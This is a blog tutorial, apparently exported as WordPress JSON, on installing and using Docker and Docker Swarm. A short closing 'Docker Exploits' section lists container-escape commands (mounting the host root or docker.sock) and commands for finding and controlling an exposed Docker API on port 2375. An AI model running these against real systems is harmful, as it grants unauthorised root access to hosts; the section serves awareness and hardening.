{"id":163,"date":"2020-09-26T12:40:47","date_gmt":"2020-09-26T12:40:47","guid":{"rendered":"https:\/\/dft.wiki\/?p=163"},"modified":"2026-06-09T15:12:19","modified_gmt":"2026-06-09T19:12:19","slug":"how-to-use-docker","status":"publish","type":"post","link":"https:\/\/dft.wiki\/?p=163","title":{"rendered":"How to Use Docker and Docker Swarm"},"content":{"rendered":"<p>Docker is by far the most popular application container solution, and Docker Swarm is an integrated functionality of Docker Engine that orchestrates a group of Docker engines into a single virtual Docker engine. It provides high availability and aggregated computing power across the cluster.<\/p>\n<hr \/>\n<p><strong>DOCKER INSTALLATION<\/strong><\/p>\n<pre>sudo apt update && sudo apt upgrade -y\r\nsudo apt install docker.io -y<\/pre>\n<hr \/>\n<p><strong>DOCKER SWARM SETUP<\/strong><\/p>\n<p>On the node you want to be the manager of the cluster, initialise Swarm:<\/p>\n<pre>sudo docker swarm init<\/pre>\n<p>Copy and paste the generated command on all other nodes to join the cluster as workers. It will look like this:<\/p>\n<pre>sudo docker swarm join --token ************************************************************* 192.168.10.10:2377<\/pre>\n<p>Check all the nodes of the cluster:<\/p>\n<pre>sudo docker node ls<\/pre>\n<p>In the future, to add more worker nodes to the cluster, issue the following command from the current manager node to get the join command again:<\/p>\n<pre>sudo docker join-token worker<\/pre>\n<p>Or for an additional manager node:<\/p>\n<pre>sudo docker join-token manager<\/pre>\n<p>To remove a node from the cluster:<\/p>\n<pre>sudo docker swarm leave<\/pre>\n<p>OR<\/p>\n<pre>sudo docker node rm ****************** --force<\/pre>\n<p>To promote (or demote) a standby manager to the current leader:<\/p>\n<pre>sudo docker node promote ******************<\/pre>\n<p>To make a node unavailable for running workloads:<\/p>\n<pre>sudo docker node update --availability drain<\/pre>\n<p>Or to make it available again:<\/p>\n<pre>sudo docker node update --availability active<\/pre>\n<hr \/>\n<p><strong>DOCKER BASIC COMMANDS<\/strong><\/p>\n<p>Note there are no images pulled yet (&#8220;pull&#8221; is the term used to download and extract images):<\/p>\n<pre>sudo docker images<\/pre>\n<p>For this exercise we will use Debian, but you can choose Ubuntu, for example:<\/p>\n<pre>sudo docker pull debian<\/pre>\n<p>OR<\/p>\n<pre>sudo docker pull ubuntu<\/pre>\n<p>Since no version was specified, the latest released version will be chosen: <em>Downloaded newer image for debian:<strong>latest<\/strong><\/em><\/p>\n<p>Now, if you check the images, &#8216;debian:latest&#8217; will be listed:<\/p>\n<pre>sudo docker images<\/pre>\n<p>Many containers can be created from the same image. None of them will modify the image content, but all will use it simultaneously (like a read-only file).<\/p>\n<p><strong>Web Server Example<\/strong><\/p>\n<pre>sudo docker run --name html -d -it -p 80:80 -v ~\/html:\/var\/www\/html debian:latest \/bin\/bash<\/pre>\n<p>Description of the syntax:<\/p>\n<ul class=\"list\">\n<li>sudo docker run\n<ul>\n<li>&#8216;run&#8217; creates the container.<\/li>\n<\/ul>\n<\/li>\n<li>&#8211;name html\n<ul>\n<li>&#8216;&#8211;name&#8217; sets the name of the container, in this case &#8216;html&#8217;.<\/li>\n<\/ul>\n<\/li>\n<li>-d -it\n<ul>\n<li><\/li>\n<\/ul>\n<\/li>\n<li>-p 80:80\n<ul>\n<li>&#8216;-p&#8217; exposes the port the container is listening on, forwarding requests from the host machine to the container like NAT (port 80 external to port 80 internal).<\/li>\n<\/ul>\n<\/li>\n<li>-v ~\/html:\/var\/www\/html\n<ul>\n<li>&#8216;-v&#8217; maps a directory from the host (&#8216;~\/html&#8217;) to the container (&#8216;\/var\/www\/html&#8217;). This keeps files accessible outside the container. You can change the host path to any location you want. You can also append <strong>:ro<\/strong> to make the mounted directory read-only inside the container.<\/li>\n<\/ul>\n<\/li>\n<li>debian:latest\n<ul>\n<li>The image used to create the container.<\/li>\n<\/ul>\n<\/li>\n<li>\/bin\/bash\n<ul>\n<li>A Bash shell will be attached every time you open the terminal.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>Now you can see the container called &#8216;html&#8217; has been created:<\/p>\n<pre>sudo docker ps -a<\/pre>\n<p>And &#8216;html&#8217; is also running:<\/p>\n<pre>sudo docker ps<\/pre>\n<p>To enter the terminal and issue commands inside the container, type:<\/p>\n<pre>sudo docker attach html<\/pre>\n<p>OR<\/p>\n<pre>sudo docker exec -it html bash<\/pre>\n<p>OR to force entry as the <strong>root<\/strong> user:<\/p>\n<pre>sudo docker exec -u 0 -it database bash<\/pre>\n<p>This command attaches the default input and output of the container to your terminal. Typing &#8216;exit&#8217; will end the process. To exit while keeping the container running, press CTRL+P then CTRL+Q.<\/p>\n<p>Install the required programs for the web server inside the container. sudo is not needed because the active user inside the container is already &#8216;root&#8217;:<\/p>\n<pre>apt update && apt upgrade && apt install nano locate nginx php-fpm -y<\/pre>\n<p>You can remove the current configuration file and create a new one, or just edit it:<\/p>\n<pre>rm \/etc\/nginx\/sites-available\/default\r\nnano \/etc\/nginx\/sites-available\/default<\/pre>\n<p>If you removed it, paste this new content and save the file:<\/p>\n<pre>server {\r\n  listen 80 default_server;\r\n  listen [::]:80 default_server;\r\n  root \/var\/www\/html;\r\n  index index.php index.html index.htm;\r\n  server_name _;\r\n  location \/ {\r\n  autoindex on;\r\n  try_files $uri $uri\/ =404;\r\n}\r\nlocation ~ .php$ {\r\n  include snippets\/fastcgi-php.conf;\r\n  fastcgi_pass unix:\/run\/php\/php<strong>7.3<\/strong>-fpm.sock;\r\n}\r\nlocation ~ \/.ht {\r\n  deny all;\r\n}\r\n}<\/pre>\n<p>To save, press CTRL+O. To close the editor, press CTRL+X.<\/p>\n<p>Now start both services, the PHP interpreter and the HTTP server:<\/p>\n<pre>service php<strong>7.3<\/strong>-fpm start\r\nservice nginx start<\/pre>\n<p>If the first service does not start, check the installed version (shown in bold above) and update the command and configuration file accordingly.<\/p>\n<p>Open any web browser and go to <a href=\"http:\/\/127.0.0.1\/\">http:\/\/127.0.0.1\/<\/a>. You should see the contents of your home directory. According to the new configuration, the directory will only be indexed if a file named &#8216;index.php&#8217;, &#8216;index.html&#8217;, or &#8216;index.htm&#8217; is present.<\/p>\n<p>Exit the container while keeping it running (CTRL+P then CTRL+Q), go to the directory where the website files will be placed, remove the automatically created file, and create an index file:<\/p>\n<pre>sudo chmod 777 -R ~\/html\r\ncd ~\/html\r\nrm index.nginx-debian.html\r\nnano index.php<\/pre>\n<p>Paste this PHP code into the new file:<\/p>\n<pre><?php\r\nphpinfo();\r\n?><\/pre>\n<p>This code prints all the configuration details of the HTTP server and PHP interpreter. Go back to the browser and refresh the page (F5).<\/p>\n<p><strong>Database Example<\/strong><\/p>\n<pre>sudo docker run --name database -d -it -p 3306:3306 -v ~\/mysql:\/var\/lib\/mysql debian:latest \/bin\/bash<\/pre>\n<p>Enter the container called &#8216;database&#8217; to install the server:<\/p>\n<pre>sudo docker attach database<\/pre>\n<p>OR<\/p>\n<pre>sudo docker exec -it database bash<\/pre>\n<p>Issue the following commands:<\/p>\n<pre>apt update && apt upgrade && apt install nano locate mariadb-server mariadb-client -y\r\nservice mysql start\r\nmysql_secure_installation<\/pre>\n<p>Follow the steps to set a password for root (initially no password is set), remove root accounts accessible from outside localhost, remove anonymous user accounts, and remove the test database.<\/p>\n<p>Test if the MySQL server is running:<\/p>\n<pre>mysql -u root -p\r\n> SHOW databases;\r\n> quit<\/pre>\n<p>Exit the container while keeping it running (CTRL+P then CTRL+Q).<\/p>\n<p><strong>Examples Summary<\/strong><\/p>\n<pre>sudo docker images\r\nsudo docker ps\r\nsudo docker ps -a\r\nsudo docker ps -as<\/pre>\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" class=\"wp-image-197\" src=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2020\/09\/image-28-1024x301-1.png\" alt=\"\" \/><\/figure>\n<p>In summary:<\/p>\n<ul class=\"list\">\n<li>1: There is only one image in your system, even if it is used by more than one container. This image cannot be removed unless all dependent containers are removed.<\/li>\n<li>2: At this point, only one container is running.<\/li>\n<li>3: There are three containers in the system, all based on the same Debian image. The container called &#8217;empty&#8217; was created just to show the initial size of an empty container.<\/li>\n<li>4: Lists all containers with their current size. Note the empty container is the same size as the image, and it grows as programs and files are added. This is another reason to keep data files outside the container (the &#8216;~\/html&#8217; and &#8216;~\/mysql&#8217; folders).<\/li>\n<\/ul>\n<p>To stop a container:<\/p>\n<pre>sudo docker stop html<\/pre>\n<p>OR<\/p>\n<pre>sudo docker stop database<\/pre>\n<p>To start a container after stopping it or rebooting the host:<\/p>\n<pre>sudo docker start html\r\nsudo docker exec -d html \/etc\/init.d\/php7.3-fpm start\r\nsudo docker exec -d html \/etc\/init.d\/nginx start<\/pre>\n<p>OR<\/p>\n<pre>sudo docker start database\r\nsudo docker exec -d mysql service mysql start<\/pre>\n<p>Note: after a container starts, its internal services will not start automatically. The &#8216;exec&#8217; command tells the container to run a command inside it, for example: <code>service mysql start<\/code> or <code>\/etc\/init.d\/nginx start<\/code>.<\/p>\n<p><strong>Examples Cleanup<\/strong><\/p>\n<pre>sudo docker stop html\r\nsudo docker stop database\r\nsudo docker rm html\r\nsudo docker rm database\r\nsudo docker rmi debian<\/pre>\n<p><strong>Debugging<\/strong><\/p>\n<pre>sudo docker logs dockerName\r\nsudo docker stats dockerName<\/pre>\n<hr \/>\n<p><strong>DOCKER IMAGES<\/strong><\/p>\n<ul>\n<li><strong>commit<\/strong>\n<ul>\n<li>Creates an image from a running container.<\/li>\n<li>sudo docker <strong>commit<\/strong> -p [container-id] backup_image<\/li>\n<\/ul>\n<\/li>\n<li><strong>tag<\/strong>\n<ul>\n<li>Creates a tagged image that refers to the source image.<\/li>\n<li>sudo docker <strong>tag<\/strong> backup_image localhost:5000\/bkp-img:v1<\/li>\n<\/ul>\n<\/li>\n<li><strong>push<\/strong>\n<ul>\n<li>Shares the image to Docker Hub or a self-hosted registry.<\/li>\n<li>sudo docker <strong>push<\/strong> bkp-img:v1<\/li>\n<\/ul>\n<\/li>\n<li><strong>pull<\/strong>\n<ul>\n<li>Downloads an image from Docker Hub or a self-hosted registry.<\/li>\n<li>sudo docker <strong>pull<\/strong> localhost:5000\/bkp-img:v1<\/li>\n<\/ul>\n<\/li>\n<li><strong>save<\/strong>\n<ul>\n<li>Saves the image to a TAR file.<\/li>\n<li>sudo docker <strong>save<\/strong> -o backup_image.tar backup_image<\/li>\n<\/ul>\n<\/li>\n<li><strong>load<\/strong>\n<ul>\n<li>Loads an image from a TAR file.<\/li>\n<li>sudo docker <strong>load<\/strong> -i \/tmp\/backup_image.tar<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>See the full list of commands in Docker Docs [<a href=\"https:\/\/docs.docker.com\/engine\/reference\/commandline\/docker\/\">Link<\/a>].<\/p>\n<hr \/>\n<p><strong>DOCKER FILE<\/strong><\/p>\n<p>A Dockerfile is used to create an image. See example:<\/p>\n<pre>FROM nginx:alpine\r\nADD . \/usr\/share\/nginx\/html\r\nRUN mkdir \/app\r\nWORKDIR \/app\r\nCOPY script.sh .\r\nCMD script.sh<\/pre>\n<p><strong>Note:<\/strong> ADD and COPY are very similar commands, but as a best practice, COPY should always be used unless the special features of ADD are needed: <strong>handling a URL<\/strong> as source, or <strong>extracting the contents of a TAR<\/strong> file to the destination.<\/p>\n<p>The Dockerfile has no extension.<\/p>\n<p>Create a .dockerignore file to prevent certain files from being added to the build:<\/p>\n<pre>Dockerfile\r\n.git\r\nanotherfile.zip\r\n*.php\r\nand_so_on.txt<\/pre>\n<p>Then build your image:<\/p>\n<pre>sudo docker build --tag webserver:latest .<\/pre>\n<p>The &#8220;.&#8221; (dot at the end) tells Docker where the Dockerfile is located, in this case the current directory.<\/p>\n<p>TIP: Consider using the very lightweight ALPINE image when possible, especially if running on a Raspberry Pi Zero. Read more about it [<a href=\"https:\/\/alpinelinux.org\/\">Link<\/a>].<\/p>\n<hr \/>\n<p><strong>PERSISTENT DATA<\/strong><\/p>\n<p>All data stored in a container is destroyed by default when the container is deleted.<\/p>\n<p>There are two main alternatives:<\/p>\n<ul>\n<li>Mount a <strong>local directory<\/strong> inside the container to keep the desired data outside it. This is also called <em>host volumes<\/em> or <em>bind volumes<\/em>, though it is not technically a volume.<\/li>\n<li>Create a <strong>volume<\/strong> to be attached to a container.<\/li>\n<\/ul>\n<p>In the previous examples, a local directory was mounted into the container using the <strong>-v<\/strong> argument:<\/p>\n<pre>sudo docker run --name database -d -it -p 3306:3306 <strong>-v ~\/mysql:\/var\/lib\/mysql<\/strong> debian:latest \/bin\/bash<\/pre>\n<p>The local directory \/home\/my_user_id\/mysql (<strong>~\/mysql<\/strong> for short) was made available inside the container at <strong>\/var\/lib\/mysql<\/strong>.<\/p>\n<p>If the container crashes or is deleted, the data remains safe and can be easily backed up or migrated.<\/p>\n<p>Volume types:<\/p>\n<ul>\n<li>Anonymous:\n<ul>\n<li>The volume is automatically created, but its name is a random hash, which makes it difficult to manage.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<pre>sudo docker run --name database -d -it -p 3306:3306 <strong>-v \/var\/lib\/mysql<\/strong> debian:latest \/bin\/bash<\/pre>\n<ul>\n<li>Named:\n<ul>\n<li>Create the volume with a desired name first, then run the container.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<pre>sudo docker volume create <strong>volume_name<\/strong>\r\nsudo docker run --name database -d -it -p 3306:3306 <strong>-v volume_name:\/var\/lib\/mysql<\/strong> debian:latest \/bin\/bash<\/pre>\n<hr \/>\n<p><strong>PORT MAPPING<\/strong><\/p>\n<p>Containers are always attached to a network type:<\/p>\n<ul>\n<li>Bridge (default)\n<ul>\n<li>Uses a mapped port from the host to the container.<\/li>\n<li>In the previous examples, host port <strong>3306<\/strong> was mapped to the same port in the container using the <strong>-p<\/strong> argument:<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<pre>sudo docker run --name database -d -it <strong>-p 3306:3306<\/strong> -v volume_name:\/var\/lib\/mysql debian:latest \/bin\/bash<\/pre>\n<ul>\n<li>Host\n<ul>\n<li>The container is available only internally in an overlay network and requires a service to be created to load balance the traffic.<\/li>\n<li>In this case, using an orchestrator such as K3s or K8s is recommended over doing it manually.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li>None\n<ul>\n<li>As the name implies, there is no network.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<hr \/>\n<p><strong>EMBEDDED DNS<\/strong><\/p>\n<p>The important thing to know about the embedded DNS is that Docker automatically resolves container names to their addresses.<\/p>\n<p>Always give meaningful names to containers and use them as addresses instead of internal IPs, since there is no guarantee a container will receive the same IP every time.<\/p>\n<hr \/>\n<p><strong>BASIC TIPS AND TRICKS<\/strong><\/p>\n<ul>\n<li>Start by choosing solid, hardened base images (many are poorly written).<\/li>\n<li>Consider using <code>podman<\/code> instead of <code>docker<\/code> to run containers without root whenever possible.<\/li>\n<li>Always use official images from certified authors (others may contain malicious code or backdoors).<\/li>\n<li>Updating and upgrading the image right after pulling is always a good idea.<\/li>\n<li>Check default configurations and apply market best practices to all necessary applications and services.<\/li>\n<li>Stop, disable, and remove all unnecessary services.<\/li>\n<li>Run multiple security scans against your image, such as:\n<ul>\n<li>Docker Scan &#8211; A native Docker feature (example: <code>sudo docker scan ubuntu:latest<\/code>).<\/li>\n<li>Trivy [<a href=\"https:\/\/aquasecurity.github.io\/trivy\/v0.22.0\/\">Link<\/a>] &#8211; Available directly from GitHub or as a Docker container.<\/li>\n<li>Anchore Grype [<a href=\"https:\/\/github.com\/anchore\/grype\/\">Link<\/a>] &#8211; Inline script that creates a Docker container.<\/li>\n<li>Docker Bench [<a href=\"https:\/\/github.com\/docker\/docker-bench-security\">Link<\/a>]<\/li>\n<\/ul>\n<\/li>\n<li>Create your own base image from all your work to use as a standard for your projects.<\/li>\n<\/ul>\n<hr \/>\n<p><strong>DOCKER CLEAN UP<\/strong><\/p>\n<p>Remove unused assets:<\/p>\n<pre>sudo docker container prune\r\nsudo docker volume prune\r\nsudo docker image prune\r\nsudo docker network prune\r\nsudo docker builder prune\r\nsudo docker system prune\r\nsudo docker system prune -a --volumes<\/pre>\n<hr \/>\n<p><strong>DOCKER SWARM BASIC COMMANDS<\/strong><\/p>\n<p><strong>Service<\/strong><\/p>\n<p>In production, containers are not executed manually. Instead, services define what is needed and the orchestrator (Swarm) makes it happen. A service may contain multiple containers.<\/p>\n<p>Create a simple service manually:<\/p>\n<pre>sudo docker service create --name http --publish 8000:80 nginx<\/pre>\n<p>List all existing services:<\/p>\n<pre>sudo docker service ls<\/pre>\n<p>Scale a service (set the number of running instances):<\/p>\n<pre>sudo docker service scale http=10<\/pre>\n<p>Remove a service:<\/p>\n<pre>sudo docker service rm http<\/pre>\n<p>Define the number of replicas and version on creation:<\/p>\n<pre>sudo docker service create --replicas 5 --name http php:7.4-cli<\/pre>\n<p>Update the image version:<\/p>\n<pre>sudo docker service update --image php:8.0-cli --update-delay 5s http<\/pre>\n<p><strong>Stack<\/strong><\/p>\n<p>A stack is broader than a service and may contain many more resources: networks, services, etc.<\/p>\n<pre>sudo docker stack deploy -y application_stack.yaml application_stack<\/pre>\n<p>Use the same command to update a stack after making changes to its YAML configuration. <span style=\"text-decoration: underline;\">The orchestrator will only apply changes to reach the desired state<\/span> (it will NOT re-deploy everything).<\/p>\n<p>Example stack file:<\/p>\n<pre>version: '3.7'\r\n\r\nservices:\r\n  nginx:\r\n    image: nginx:latest\r\n    ports:\r\n      - \"80:80\"\r\n      - \"443:443\"\r\n    networks:\r\n      - nginx-net\r\n    deploy:\r\n      replicas: 3\r\n      update_config:\r\n        parallelism: 1\r\n        delay: 5s\r\n      restart_policy:\r\n        condition: on-failure\r\n\r\nnetworks:\r\n  nginx-net:\r\n    driver: overlay\r\n<\/pre>\n<hr \/>\n<p><strong>BONUS<\/strong><\/p>\n<p>Create your own speed test server.<\/p>\n<ul>\n<li>Open-source solution LibreSpeed [<a href=\"https:\/\/github.com\/librespeed\/speedtest\">Link<\/a>]:<\/li>\n<\/ul>\n<pre>sudo docker run -e MODE=standalone -p 80:80 -it adolfintel\/speedtest<\/pre>\n<ul>\n<li>Open-source solution OpenSpeedTest [<a href=\"https:\/\/openspeedtest.com\/\">Link<\/a>]:<\/li>\n<\/ul>\n<pre>docker run --restart=unless-stopped --name=openspeedtest -d -p 80:3000 openspeedtest\/latest<\/pre>\n<p>Feel free to use LazyDocker for a terminal-based graphical experience that can save a lot of time and typing [<a href=\"https:\/\/github.com\/jesseduffield\/lazydocker\">Link<\/a>] [<a href=\"https:\/\/linuxtldr.com\/lazy-docker\/\">Link<\/a>]. Yes, it has mouse support!<\/p>\n<pre>wget https:\/\/github.com\/jesseduffield\/lazydocker\/releases\/download\/v0.24.1\/lazydocker_0.24.1_Linux_x86_64.tar.gz\r\ntar zxvf lazydocker_0.24.1_Linux_x86_64.tar.gz lazydocker\r\nsudo mv lazydocker \/bin\/\r\nsudo lazydocker<\/pre>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-4775\" src=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2020\/09\/Screenshot-From-2025-04-11-17-44-32.png\" alt=\"\" width=\"914\" height=\"544\" srcset=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2020\/09\/Screenshot-From-2025-04-11-17-44-32.png 914w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2020\/09\/Screenshot-From-2025-04-11-17-44-32-300x179.png 300w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2020\/09\/Screenshot-From-2025-04-11-17-44-32-768x457.png 768w\" sizes=\"auto, (max-width: 914px) 100vw, 914px\" \/><\/p>\n<p>Self-host a local registry mirror to avoid transfer limits and improve performance for repeated operations.<\/p>\n<pre>sudo docker pull registry\r\nsudo docker run -d -p 5000:5000 --restart always --name registry registry<\/pre>\n<p>For Docker:<\/p>\n<pre>sudo nano \/etc\/docker\/daemon.json<\/pre>\n<pre>{\r\n  \"registry-mirrors\": [\r\n    \"http:\/\/localhost:5000\"\r\n  ]\r\n}<\/pre>\n<pre>sudo systemctl restart docker<\/pre>\n<p>For Podman:<\/p>\n<pre>sudo nano $HOME\/.config\/containers\/registries.conf<\/pre>\n<pre>[[registry.mirror]]\r\nlocation = \"localhost:5000\"<\/pre>\n<p>Note that both solutions above require SSL\/TLS (HTTPS) to serve clients. To work around this, use a reverse proxy instead.<\/p>\n<pre>sudo docker system info\r\nsudo docker pull ubuntu\r\nsudo docker rmi ubuntu\r\nsudo docker pull ubuntu<\/pre>\n<ul>\n<li>Setting External DNS for Docker<\/li>\n<\/ul>\n<p>At runtime:<\/p>\n<pre>docker run --dns 8.8.8.8 containerImageName<\/pre>\n<p>For the whole engine:<\/p>\n<pre>sudo nano \/etc\/docker\/daemon.json<\/pre>\n<pre>{\r\n  \"dns\": [\"8.8.8.8\", \"1.1.1.1\"]\r\n}<\/pre>\n<pre>sudo systemctl restart docker<\/pre>\n<ul>\n<li>Docker Exploits<\/li>\n<\/ul>\n<p>The following container is essentially a Trojan Horse that mounts the host&#8217;s entire file system and runs as root.<\/p>\n<pre>docker run -v \/:\/mnt --rm -it alpine chroot \/mnt sh<\/pre>\n<p>Or grant unrestricted direct access to the host&#8217;s Docker daemon:<\/p>\n<pre>docker run -v \/var\/run\/docker.sock:\/var\/run\/docker.sock --rm -it alpine sh<\/pre>\n<p>Identifies and connects to a remote Docker engine that is not properly secured:<\/p>\n<pre>nmap -sV -p 2375 10.10.10.10\r\ncurl http:\/\/10.10.10.10:2375\/version\r\ndocker -H tcp:\/\/10.10.10.10:2375 ps<\/pre>\n<p>Prints syscall capabilities:<\/p>\n<pre>capsh --print<\/pre>\n<p>Sample output of a privileged environment:<\/p>\n<pre>Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep\r\nBounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read\r\nSecurebits: 00\/0x0\/1'b0\r\n secure-noroot: no (unlocked)\r\n secure-no-suid-fixup: no (unlocked)\r\n secure-keep-caps: no (unlocked)\r\nuid=0(root)\r\ngid=0(root)\r\ngroups=0(root)<\/pre>\n<hr \/>\n<p><strong>READ ALSO<\/strong><\/p>\n<p>Snap vs Docker vs Multipass [<a href=\"https:\/\/dft.wiki\/?p=189\">Link<\/a>]<\/p>\n<p>Managing Docker with Yacht [<a href=\"https:\/\/dft.wiki\/?p=1499\">Link<\/a>]<\/p>\n<p>NextCloud using Docker [<a href=\"https:\/\/dft.wiki\/?p=183\">Link<\/a>]<\/p>\n<p>Kubernetes Cheat Sheet [<a href=\"https:\/\/dft.wiki\/?p=1372\">Link<\/a>]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Docker is by far the most popular application container solution, and Docker Swarm is an [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4,6],"tags":[],"class_list":["post-163","post","type-post","status-publish","format-standard","hentry","category-linux","category-raspberry-pi"],"_links":{"self":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts\/163","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=163"}],"version-history":[{"count":32,"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts\/163\/revisions"}],"predecessor-version":[{"id":5862,"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts\/163\/revisions\/5862"}],"wp:attachment":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=163"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=163"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=163"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}